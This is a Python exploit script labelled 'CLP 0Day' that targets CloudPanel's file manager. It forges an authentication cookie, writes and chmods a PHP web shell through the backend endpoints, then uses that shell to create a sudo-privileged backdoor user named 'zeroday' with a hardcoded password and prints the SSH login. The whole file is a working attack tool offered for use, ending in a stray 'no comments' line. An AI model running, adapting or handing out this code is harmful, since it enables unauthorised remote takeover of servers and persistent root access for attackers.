import subprocess, argparse
import warnings ,os, sys
import ctypes, platform, requests
from colorama import Fore, Back, Style
from datetime import date
warnings.filterwarnings('ignore')
cmd = '/usr/bin/php8.1 Crypto.php'
default_path = '/file-manager/'
parser = argparse.ArgumentParser()
username = 'clp'
tgt = ''
#Use for automatically add new user with sudo privileges
user_add = "useradd zeroday -s /bin/bash -b /tmp"
user_passwd = "echo 'Etharus@1337%0AEtharus@1337' | passwd zeroday"
user_mod = "usermod -aG sudo zeroday"
gains = ["sudo su -c '"+user_add+"'",'sudo su -c "'+user_passwd+'"',"sudo su -c '"+user_mod+"'"]
def execPHP(txt=False):
    global cmd
    returned_output = ''
    if False == txt:
        proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
        returned_output = proc.stdout.read().decode('utf-8')
    else:
        cmd = cmd + ' ' + txt
        proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
        returned_output = proc.stdout.read().decode('utf-8')
    return returned_output
def exploit():
    global tgt,default_path,username
    target = 'https://' + tgt.replace('/','')
    ipTarget = tgt.split(':')[0]
    crypto = execPHP()
    cookie = {'clp-fm':crypto}
    try:
        request = requests.get(target+default_path,cookies=cookie,verify=False,timeout=5)
        if request.status_code == 200:
            up_data = {'id':'/htdocs/app/files/public/','name':'shell.php'}
            new_ck = {'clp-fm':execPHP(username)}
            try:
                new_request = requests.post(target+default_path+'backend/makefile',cookies=new_ck,data=up_data,verify=False,timeout=5)
                if new_request.status_code == 200:
                    cdata = {'id':'/htdocs/app/files/public/shell.php','content':open('shell.php','rb').read()}
                    try:
                        crequest = requests.post(target+default_path+'backend/text',cookies=new_ck,data=cdata,verify=False,timeout=5)
                        if crequest.status_code == 200:
                            pdata = {'id':'/htdocs/app/files/public/shell.php','permissions':'0777'}
                            try:
                                prequest = requests.post(target+default_path+'backend/permissions',cookies=new_ck,data=pdata,verify=False,timeout=5)
                                if prequest.status_code == 200:
                                    shell_check = requests.get(target+'/shell.php',verify=False,timeout=5)
                                    if shell_check.status_code == 200:
                                        print(Style.BRIGHT + Fore.GREEN + '[+] WebShell : ' + target+'/shell.php')
                                        for gain in gains:
                                            requests.get(target+'/shell.php?cmd='+gain,verify=False,timeout=10)
                                        print(Style.BRIGHT + Fore.GREEN + '[+] SSH Login : user=zeroday,pass=Etharus@1337')
                            except:
                                print(Style.BRIGHT + Fore.RED+'Connection error while changing permission!')
                    except:
                        print(Style.BRIGHT + Fore.RED+'Connection error while trying insert contents!')
            except:
                print(Style.BRIGHT + Fore.RED+'Connection error while trying creating file!')
        else:
            print(Style.BRIGHT + Fore.RED+'Not Vulnerable...')
    except:
        print(Style.BRIGHT + Fore.RED+'Connection error!')
                
def StartPage():
    global tgt,prt
    parser.add_argument('-T','--target',dest='tgt',type=str, help='Ex: 127.0.0.1:8443',default=None, required=True)
    args = parser.parse_args()
    tgt = args.tgt
    exploit()
if __name__ == '__main__':
    today = date.today()
    d2 = today.strftime("%B %d, %Y")
    if platform.system()=='Linux':
        os.system('clear')
        sys.stdout.write("\x1b]2;CLP 0Day {}\x07".format(d2))
    else:
        os.system('cls')
        ctypes.windll.kernel32.SetConsoleTitleW(f'CLP 0Day | {d2}')
    print(f"""{Style.BRIGHT + Fore.GREEN}
                                ______      _____             _____ __   _          
                               / ____/___ _/ / (_)___  ____ _/ ___// /__(_)__  _____
                              / /_  / __ `/ / / / __ \/ __ `/\__ \/ //_/ / _ \/ ___/
                             / __/ / /_/ / / / / / / / /_/ /___/ / ,< / /  __(__  ) 
                            /_/    \__,_/_/_/_/_/ /_/\__, //____/_/|_/_/\___/____/  
                                                    /____/  CloudPanel 0day Version : 2.0.0 >= 2.3.0                        
                                                            
    {Style.BRIGHT + Fore.MAGENTA}
                                        ░█▀▄░█▀█░▀█▀░█▀█░█▀▀░█░█░░░░█▄█░█░█
                                        ░█░█░█▀█░░█░░█▀█░█░░░█▀▄░░░░█░█░░█░
                                        ░▀▀░░▀░▀░░▀░░▀░▀░▀▀▀░▀░▀░▀░░▀░▀░░▀░
    {Style.BRIGHT + Fore.WHITE}""")
    StartPage()
                              
                        
                    
                
              
                
             
          
          
暂无评论